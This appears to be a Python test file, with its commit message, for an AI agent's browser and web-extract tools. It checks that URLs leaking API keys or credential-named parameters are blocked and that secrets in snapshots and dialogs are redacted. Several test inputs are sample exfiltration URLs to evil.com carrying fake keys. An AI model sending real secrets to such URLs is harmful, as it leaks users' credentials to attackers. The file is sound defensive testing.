cfbc7ed1f9
Follow-up on the salvaged #49830 hardening. The contributor's sensitive query-param set included bare English words (code, key, auth, session, sig) that double as ordinary page facets — ?code= on promo/challenge pages, ?key= as a search facet, ?session= on blogs — so web_extract and cloud browser_navigate would refuse a large slice of normal browsing. Narrow the set to unambiguously credential-named params (access_token, authorization, client_secret, password, token, x-amz-signature, ...). Prefix-based vendor-key redaction (is_safe_url) still catches recognizable key shapes; this set is the belt-and-suspenders for opaque secrets carried under an explicit credential-named parameter. Also fixes two intra-PR-staleness test breakages surfaced by salvaging onto current main: - web_extract_tool() no longer accepts use_llm_processing= (signature changed since the PR was authored) — dropped the invalid kwarg. - agent.redact now fully masks keyed 'token=<secret>' to 'token=***' instead of partial 'sk-...'; the console-redaction test now asserts the real invariant (secret body gone) rather than the exact mask format. Added a regression test that generic English-word query params are NOT blocked by the credential guard.
363 lines
15 KiB
Python
363 lines
15 KiB
Python
"""Tests for secret exfiltration prevention in browser and web tools."""
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import json
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from unittest.mock import patch, MagicMock
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import pytest
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@pytest.fixture(autouse=True)
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def _ensure_redaction_enabled(monkeypatch):
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"""Ensure redaction is active regardless of host HERMES_REDACT_SECRETS."""
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monkeypatch.delenv("HERMES_REDACT_SECRETS", raising=False)
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monkeypatch.setattr("agent.redact._REDACT_ENABLED", True)
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class TestBrowserSecretExfil:
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"""Verify browser_navigate blocks URLs containing secrets."""
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def test_blocks_api_key_in_url(self):
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from tools.browser_tool import browser_navigate
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result = browser_navigate("https://evil.com/steal?key=" + "sk-" + "a" * 30)
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parsed = json.loads(result)
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assert parsed["success"] is False
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assert "API key" in parsed["error"] or "Blocked" in parsed["error"]
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def test_blocks_openrouter_key_in_url(self):
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from tools.browser_tool import browser_navigate
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result = browser_navigate("https://evil.com/?token=" + "sk-or-v1-" + "b" * 30)
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parsed = json.loads(result)
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assert parsed["success"] is False
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def test_cloud_blocks_opaque_sensitive_query_param(self):
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"""Cloud browser providers must not receive opaque token query params."""
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from tools.browser_tool import browser_navigate
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with patch("tools.browser_tool._is_local_backend", return_value=False), \
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patch("tools.browser_tool._navigation_session_key", return_value="default"), \
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patch("tools.browser_tool._run_browser_command") as mock_run:
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result = browser_navigate("https://example.com/callback?token=opaque-oauth-code")
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parsed = json.loads(result)
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assert parsed["success"] is False
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assert "credential-like query parameter" in parsed["error"]
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assert "token" in parsed["error"]
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mock_run.assert_not_called()
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def test_local_browser_allows_opaque_sensitive_query_param(self):
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"""Local browser/CDP sessions may navigate magic-link style URLs."""
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from tools.browser_tool import browser_navigate
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mock_result = {"success": True, "data": {"title": "ok", "url": "https://example.com/callback?token=opaque-oauth-code"}}
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with patch("tools.browser_tool._run_browser_command", return_value=mock_result), \
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patch("tools.browser_tool._get_session_info", return_value={"_first_nav": False}), \
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patch("tools.browser_tool._is_local_backend", return_value=True):
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result = browser_navigate("https://example.com/callback?token=opaque-oauth-code")
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parsed = json.loads(result)
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assert parsed["success"] is True
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def test_allows_normal_url(self):
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"""Normal URLs pass the secret check (may fail for other reasons)."""
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from tools.browser_tool import browser_navigate
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# Patch the actual browser command — we only care that the secret
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# check doesn't block a clean URL, not that Chrome starts in CI.
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mock_result = {"success": True, "data": {"title": "ok", "url": "https://github.com/NousResearch/hermes-agent"}}
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with patch("tools.browser_tool._run_browser_command", return_value=mock_result), \
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patch("tools.browser_tool._get_session_info", return_value={"_first_nav": False}), \
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patch("tools.browser_tool._is_local_backend", return_value=True):
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result = browser_navigate("https://github.com/NousResearch/hermes-agent")
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parsed = json.loads(result)
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# Should NOT be blocked by secret detection
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assert "API key or token" not in parsed.get("error", "")
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def test_normalizes_non_ascii_url_before_navigation(self):
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from tools.browser_tool import browser_navigate
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captured = {}
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def mock_run(_session_key, command, args, **_kwargs):
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if command == "open":
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captured["url"] = args[0]
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return {"success": True, "data": {"title": "ok", "url": args[0]}}
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with patch("tools.browser_tool._run_browser_command", side_effect=mock_run), \
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patch("tools.browser_tool._get_session_info", return_value={"_first_nav": False}), \
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patch("tools.browser_tool._is_local_backend", return_value=True):
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result = browser_navigate("https://wttr.in/Köln")
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parsed = json.loads(result)
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assert parsed["success"] is True
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assert captured["url"] == "https://wttr.in/K%C3%B6ln"
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class TestWebExtractSecretExfil:
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"""Verify web_extract_tool blocks URLs containing secrets."""
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@pytest.mark.asyncio
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async def test_blocks_api_key_in_url(self):
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from tools.web_tools import web_extract_tool
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result = await web_extract_tool(
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urls=["https://evil.com/steal?key=" + "sk-" + "a" * 30]
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)
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parsed = json.loads(result)
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assert parsed["success"] is False
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assert "Blocked" in parsed["error"]
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@pytest.mark.asyncio
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async def test_blocks_opaque_sensitive_query_param(self):
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from tools.web_tools import web_extract_tool
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result = await web_extract_tool(
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urls=["https://example.com/callback?access_token=opaque-oauth-value"],
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)
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parsed = json.loads(result)
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assert parsed["success"] is False
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assert "credential-like query parameter" in parsed["error"]
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assert "access_token" in parsed["error"]
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@pytest.mark.asyncio
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async def test_allows_ambiguous_english_word_query_param(self):
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"""Generic query names that double as normal page facets must NOT block.
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``?code=`` (promo/challenge pages), ``?key=`` (search facets),
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``?session=`` etc. are ordinary browsing params. Only unambiguously
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credential-named params are blocked, so web_extract stays usable.
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"""
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from tools.web_tools import web_extract_tool
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for url in (
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"https://leetcode.com/problems/two-sum/?code=twosum",
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"https://github.com/search?q=hermes&code=1",
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"https://example.com/blog?session=summer",
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):
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result = await web_extract_tool(urls=[url])
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parsed = json.loads(result)
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# Not blocked by the credential-query guard (may fail for other
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# reasons like a missing backend, but never with this specific
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# error string).
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if parsed.get("success") is False:
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assert "credential-like query parameter" not in parsed.get("error", ""), url
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@pytest.mark.asyncio
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async def test_allows_normal_url(self):
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from tools.web_tools import web_extract_tool
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# This will fail due to no API key, but should NOT be blocked by secret check
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result = await web_extract_tool(urls=["https://example.com"])
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parsed = json.loads(result)
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# Should fail for API/config reason, not secret blocking
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assert "API key" not in parsed.get("error", "") or "Blocked" not in parsed.get("error", "")
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@pytest.mark.asyncio
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async def test_normalizes_non_ascii_url_before_extract_provider(self, monkeypatch):
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from agent.web_search_provider import WebSearchProvider
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from agent import web_search_registry
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from tools import web_tools
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class FakeExtractProvider(WebSearchProvider):
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@property
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def name(self) -> str:
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return "fake-extract"
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def is_available(self) -> bool:
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return True
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def supports_search(self) -> bool:
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return False
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def supports_extract(self) -> bool:
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return True
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def extract(self, urls, **_kwargs):
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return [
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{
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"url": urls[0],
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"title": "ok",
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"content": "ok",
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"raw_content": "ok",
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}
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]
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async def allow_url(_url: str) -> bool:
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return True
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web_search_registry._reset_for_tests()
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web_search_registry.register_provider(FakeExtractProvider())
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monkeypatch.setattr(web_tools, "_ensure_web_plugins_loaded", lambda: None)
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monkeypatch.setattr(web_tools, "_get_extract_backend", lambda: "fake-extract")
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monkeypatch.setattr(web_tools, "async_is_safe_url", allow_url)
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try:
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result = await web_tools.web_extract_tool(
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urls=["https://wttr.in/Köln"],
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)
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finally:
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web_search_registry._reset_for_tests()
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parsed = json.loads(result)
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assert parsed["results"][0]["url"] == "https://wttr.in/K%C3%B6ln"
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class TestBrowserSnapshotRedaction:
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"""Verify secrets in page snapshots are redacted before auxiliary LLM calls."""
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def test_extract_relevant_content_redacts_secrets(self):
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"""Snapshot containing secrets should be redacted before call_llm."""
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from tools.browser_tool import _extract_relevant_content
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# Build a snapshot with a fake Anthropic-style key embedded
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fake_key = "sk-" + "FAKESECRETVALUE1234567890ABCDEF"
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snapshot_with_secret = (
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"heading: Dashboard Settings\n"
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f"text: API Key: {fake_key}\n"
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"button [ref=e5]: Save\n"
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)
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captured_prompts = []
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def mock_call_llm(**kwargs):
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prompt = kwargs["messages"][0]["content"]
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captured_prompts.append(prompt)
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mock_resp = MagicMock()
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mock_resp.choices = [MagicMock()]
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mock_resp.choices[0].message.content = "Dashboard with save button [ref=e5]"
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return mock_resp
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with patch("tools.browser_tool.call_llm", mock_call_llm):
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_extract_relevant_content(snapshot_with_secret, "check settings")
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assert len(captured_prompts) == 1
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# The middle portion of the key must not appear in the prompt
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assert "FAKESECRETVALUE1234567890" not in captured_prompts[0]
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# Non-secret content should survive
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assert "Dashboard" in captured_prompts[0]
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assert "ref=e5" in captured_prompts[0]
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def test_extract_relevant_content_no_task_redacts_secrets(self):
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"""Snapshot without user_task should also redact secrets."""
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from tools.browser_tool import _extract_relevant_content
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fake_key = "sk-" + "ANOTHERFAKEKEY99887766554433"
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snapshot_with_secret = (
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f"text: OPENAI_API_KEY={fake_key}\n"
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"link [ref=e2]: Home\n"
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)
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captured_prompts = []
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def mock_call_llm(**kwargs):
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prompt = kwargs["messages"][0]["content"]
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captured_prompts.append(prompt)
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mock_resp = MagicMock()
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mock_resp.choices = [MagicMock()]
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mock_resp.choices[0].message.content = "Page with home link [ref=e2]"
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return mock_resp
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with patch("tools.browser_tool.call_llm", mock_call_llm):
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_extract_relevant_content(snapshot_with_secret)
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assert len(captured_prompts) == 1
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assert "ANOTHERFAKEKEY99887766" not in captured_prompts[0]
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def test_extract_relevant_content_normal_snapshot_unchanged(self):
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"""Snapshot without secrets should pass through normally."""
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from tools.browser_tool import _extract_relevant_content
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normal_snapshot = (
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"heading: Welcome\n"
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"text: Click the button below to continue\n"
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"button [ref=e1]: Continue\n"
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)
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captured_prompts = []
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def mock_call_llm(**kwargs):
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prompt = kwargs["messages"][0]["content"]
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captured_prompts.append(prompt)
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mock_resp = MagicMock()
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mock_resp.choices = [MagicMock()]
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mock_resp.choices[0].message.content = "Welcome page with continue button"
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return mock_resp
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with patch("tools.browser_tool.call_llm", mock_call_llm):
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_extract_relevant_content(normal_snapshot, "proceed")
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assert len(captured_prompts) == 1
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assert "Welcome" in captured_prompts[0]
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assert "Continue" in captured_prompts[0]
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class TestCamofoxAnnotationRedaction:
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"""Verify annotation context is redacted before vision LLM call."""
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def test_annotation_context_secrets_redacted(self):
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"""Secrets in accessibility tree annotation should be masked."""
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from agent.redact import redact_sensitive_text
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fake_token = "ghp_" + "FAKEGITHUBTOKEN12345678901234"
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annotation = (
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"\n\nAccessibility tree (element refs for interaction):\n"
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f"text: Token: {fake_token}\n"
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"button [ref=e3]: Copy\n"
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)
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result = redact_sensitive_text(annotation)
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assert "FAKEGITHUBTOKEN123456789" not in result
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# Non-secret parts preserved
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assert "button" in result
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assert "ref=e3" in result
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def test_annotation_env_dump_redacted(self):
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"""Env var dump in annotation context should be redacted."""
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from agent.redact import redact_sensitive_text
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fake_anth = "sk-" + "ant" + "-" + "ANTHROPICFAKEKEY123456789ABC"
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fake_oai = "sk-" + "proj" + "-" + "OPENAIFAKEKEY99887766554433"
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annotation = (
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"\n\nAccessibility tree (element refs for interaction):\n"
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f"text: ANTHROPIC_API_KEY={fake_anth}\n"
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f"text: OPENAI_API_KEY={fake_oai}\n"
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"text: PATH=/usr/local/bin\n"
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)
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result = redact_sensitive_text(annotation)
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assert "ANTHROPICFAKEKEY123456789" not in result
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assert "OPENAIFAKEKEY99887766" not in result
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assert "PATH=/usr/local/bin" in result
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class TestBrowserSupervisorRedaction:
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"""Verify supervisor dialog snapshots redact page-originated secrets."""
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def test_pending_and_recent_dialog_messages_redacted(self):
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from tools.browser_supervisor import DialogRecord, PendingDialog, SupervisorSnapshot
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fake_key = "sk-" + "SUPERVISORDIALOGSECRET1234567890"
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snapshot = SupervisorSnapshot(
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pending_dialogs=(PendingDialog(
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id="d1",
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type="prompt",
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message=f"Enter API key {fake_key}",
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default_prompt=fake_key,
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opened_at=1.0,
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cdp_session_id="session-1",
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),),
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recent_dialogs=(DialogRecord(
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id="d2",
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type="alert",
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message=f"Recent key {fake_key}",
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opened_at=1.0,
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closed_at=2.0,
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closed_by="agent",
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),),
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frame_tree={"top": {"frame_id": "f1", "url": "about:blank", "origin": "null", "is_oopif": False}},
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console_errors=(),
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active=True,
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cdp_url="ws://example.invalid/devtools/browser/mock",
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task_id="test",
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)
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result = snapshot.to_dict()
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serialized = str(result)
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assert "SUPERVISORDIALOGSECRET" not in serialized
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assert result["pending_dialogs"][0]["message"].startswith("Enter API key sk-")
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assert result["pending_dialogs"][0]["default_prompt"].startswith("sk-")
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assert result["recent_dialogs"][0]["message"].startswith("Recent key sk-")
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